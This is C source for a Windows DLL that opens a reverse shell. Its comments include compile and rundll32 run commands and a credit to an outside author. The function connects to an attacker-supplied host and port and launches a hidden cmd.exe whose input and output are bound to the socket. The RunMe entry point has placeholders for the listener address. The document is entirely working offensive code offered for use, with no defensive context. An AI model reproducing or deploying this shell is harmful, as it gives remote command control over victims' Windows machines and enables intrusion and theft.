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| #include <winsock2.h> | |
| #include <windows.h> | |
| #include <io.h> | |
| #include <process.h> | |
| #include <sys/types.h> | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| /* ================================================== */ | |
| /* Copied from https://github.com/izenynn */ | |
| /* All credits go to the original autho */ | |
| /* Change the parameters of the RunMe() function. */ | |
| /* ================================================== */ | |
| // x86_64-w64-mingw32-gcc RevShellDll.c -shared -lws2_32 -o RunMe.dll | |
| // rundll32.exe RunMe.dll,RunMe | |
| static int R3vSh3ll(char *CLIENT_IP, int CLIENT_PORT) { | |
| WSADATA wsaData; | |
| if (WSAStartup(MAKEWORD(2 ,2), &wsaData) != 0) { | |
| write(2, "[ERROR] WSASturtup failed.\n", 27); | |
| return (1); | |
| } | |
| int port = CLIENT_PORT; | |
| struct sockaddr_in sa; | |
| SOCKET sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); | |
| sa.sin_family = AF_INET; | |
| sa.sin_port = htons(port); | |
| sa.sin_addr.s_addr = inet_addr(CLIENT_IP); | |
| if (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) { | |
| write(2, "[ERROR] connect failed.\n", 24); | |
| return (1); | |
| } | |
| STARTUPINFO sinfo; | |
| memset(&sinfo, 0, sizeof(sinfo)); | |
| sinfo.cb = sizeof(sinfo); | |
| sinfo.dwFlags = (STARTF_USESTDHANDLES); | |
| sinfo.hStdInput = (HANDLE)sockt; | |
| sinfo.hStdOutput = (HANDLE)sockt; | |
| sinfo.hStdError = (HANDLE)sockt; | |
| PROCESS_INFORMATION pinfo; | |
| CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo); | |
| return (0); | |
| } | |
| void RunMe(){ | |
| R3vSh3ll("<HostIP>", <PORT>); | |
| } |
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